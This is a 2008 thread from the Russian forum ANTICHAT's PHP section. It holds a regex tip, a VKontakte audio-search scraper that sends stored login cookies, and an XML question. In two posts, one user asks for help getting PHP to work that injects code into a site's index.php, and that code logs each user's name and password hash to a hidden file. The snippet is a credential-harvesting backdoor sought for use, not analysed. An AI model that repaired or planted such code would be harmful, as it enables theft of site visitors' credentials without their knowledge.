HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6081  
Старый 09.11.2008, 00:45
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

Цитата:
Сообщение от PandoraBox  
так мне нада только цифры intval();
Код:
\d
Код:
<div class="summary">Найдено 4886 аудиозаписей.</div>
Код:
'#(\d+)#'
 
Ответить с цитированием

  #6082  
Старый 09.11.2008, 03:55
PandoraBox
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
Провел на форуме:
1510937

Репутация: 398
Отправить сообщение для PandoraBox с помощью ICQ
По умолчанию

вот что вышло но не очень красиво работает
PHP код:
# Отключить вывод ошибок
error_reporting(0);

# Отключаем ограничение на время выполнения скрипта  
set_time_limit(0);

# GZip on
ob_start("ob_gzhandler");

# Имя скрипта на сервере
$script = $_SERVER['PHP_SELF'];

# Request's include
require_once('config.php');

# Получение запросов
$q = $_GET['q'];
$page = $_GET['page'];
# оброботка
$page = ($page > 0) ? intval($page) : 0;
$page_limt = ($page) ? ($page . '00') : 0;

// bla... bla.. bla....

  # Подстройка запроса
  if ($page == 0)
  {
    $POST = "add=1&gid=0&field=&to_id=0&q=".urlencode($q);
  } else {
    $GET = "add=1&q=".urlencode($q)."&st=".$page_limt;
  }

  # Отправляем заголовки
  if ($page == 0)
  {
    $out = "POST /audiosearch.php HTTP/1.1\r\n";
  } else {
    $out = "GET /audiosearch.php?".$GET." HTTP/1.1\r\n";
  }
// bla... bla.. bla....
  $out .= "Host: vkontakte.ru\r\n";
  $out .= "User-Agent: Mozilla/5.0\r\n";
  $out .= "Keep-Alive: 300\r\n";//  $out .=  "Keep-Alive: 300\r\n";
  $out .= "Connection: Close\r\n";
  $out .= "Referer: http://vkontakte.ru/audiosearch.php?q=".urlencode($q)."&add=1&st=".(($page_limt < 100) ? $page_limt + 100 : $page_limt - 100)."\r\n";
  $out .= "Cookie: remixclosed_tabs=0; remixchk=5; remixlang=0; remixclosed_tabs=0; remixgroup_closed_tabs=0; audio_vol=80; remixmid=" . intval($id) . "; remixemail=" . urlencode($email) . "; remixpass=" . $password . "; remixsid=".md5(gen_brows())."\r\n";
  $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
  fwrite($fsock, $out);
  while(!feof($fsock)) 
  { 
    $responce .= fread($fsock, 512); 
  }
  fclose($fsock);

  preg_match('#<div class="summary">.* (.*) .*</div>#', $responce, $count_sounds_tmp);
  $count_sounds = $count_sounds_tmp[1];
  unset($count_sounds_tmp);

  preg_match("#<a href='audiosearch.php.*;st=(.*)0' >&raquo;</a>#", $responce, $end_page_tmp);
  $end_page = $end_page_tmp[1];
  unset($end_page_tmp);

  if ($count_sounds > 0)
  {
    
  }
///////////// Хде то в конце 5й страницы
<?php

if  ($count_sounds 0)
{
  echo 
'    <tr>
      <td colspan="3"><ul class="pageList">'
;
///////////////////////////////////////////////////////
 
if ($page >= )
 {
   echo 
'
      <li><a href="'
.$script.'?page=0">&laquo;</a></li>
'
;
 }
 for (
$i=0+$page$i<$page+$menu_count$i++)
 {
   if (
$i == $page)
   {
    echo 
'
      <li class="current"><a href="#">'
.$page.'</a></li>
'
;
   } else {
    echo 
'
      <li><a href="'
.$script.'?page='.$i.'">'.$i.'</a></li>
'
;
    }
}
//////////////////////////////////////////////////////
  
echo '
      <li><a href="'
.$script.'?page='.$end_page.'">&raquo;</a></li>
      </ul></td>
    </tr>
'
;
}
?><?php ob_end_flush(); ?>

Последний раз редактировалось PandoraBox; 09.11.2008 в 05:33..
 
Ответить с цитированием

  #6083  
Старый 09.11.2008, 08:51
MafiaBoy3
Banned
Регистрация: 14.04.2007
Сообщений: 297
Провел на форуме:
756152

Репутация: 38
По умолчанию

Я не пойму как соединить документ HTML с rdf или xml документом.

Как это сделать? Подскажите хороший учебник на русском по xml

пожалуста помогите

Последний раз редактировалось MafiaBoy3; 09.11.2008 в 09:21..
 
Ответить с цитированием

  #6084  
Старый 09.11.2008, 10:57
MafiaBoy3
Banned
Регистрация: 14.04.2007
Сообщений: 297
Провел на форуме:
756152

Репутация: 38
По умолчанию

пожалуста
 
Ответить с цитированием

  #6085  
Старый 09.11.2008, 11:13
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Цитата:
Сообщение от MafiaBoy3  
Я не пойму как соединить документ HTML с rdf или xml документом.
В каком смысле соединить?
Цитата:
Сообщение от MafiaBoy3  
Как это сделать? Подскажите хороший учебник на русском по xml
Спецификация на русском. Лучше не найдёшь.
 
Ответить с цитированием

  #6086  
Старый 09.11.2008, 11:22
MafiaBoy3
Banned
Регистрация: 14.04.2007
Сообщений: 297
Провел на форуме:
756152

Репутация: 38
По умолчанию

как использовать файл xml?
Его надо подключить к хтмл что ли?
 
Ответить с цитированием

  #6087  
Старый 09.11.2008, 11:41
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Цитата:
Сообщение от MafiaBoy3  
как использовать файл xml?
Его надо подключить к хтмл что ли?
Ты что-то неправильно понял.
 
Ответить с цитированием

  #6088  
Старый 09.11.2008, 11:45
sadfeel
Познающий
Регистрация: 05.11.2008
Сообщений: 79
Провел на форуме:
185461

Репутация: 12
По умолчанию

блин не могу найти ошибку пишет: parse error, unexpected T_SL on line 4 помогите плз
вот код:
PHP код:
<? 
$fp
=fopen("index.php","a+"); 

$tmp=<<<HTT 
  
<? \$fp=fopen ("mess.php","a+");  
  
fputs(\$fp,"\r\n\$logged_user_name-\$enc_user_pass"); 
  
?> HTT; 

fputs($fp,$tmp); 
fclose($fp); 
?>
(упрощенный вариант)
 
Ответить с цитированием

  #6089  
Старый 09.11.2008, 11:48
MafiaBoy3
Banned
Регистрация: 14.04.2007
Сообщений: 297
Провел на форуме:
756152

Репутация: 38
По умолчанию

я вообще нечё не понял...
ты сам то это читал
 
Ответить с цитированием

  #6090  
Старый 09.11.2008, 11:51
sadfeel
Познающий
Регистрация: 05.11.2008
Сообщений: 79
Провел на форуме:
185461

Репутация: 12
По умолчанию

Цитата:
Сообщение от MafiaBoy3  
я вообще нечё не понял...
ты сам то это читал
конечно читал)
короч надо через пхп вставить в файл index.php это:
PHP код:
<?php 
\$fp=fopen ("include/mess.php","a+");  
fputs(\$fp,"\r\n$logged_user_name-$enc_user_pass"); 
?>
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ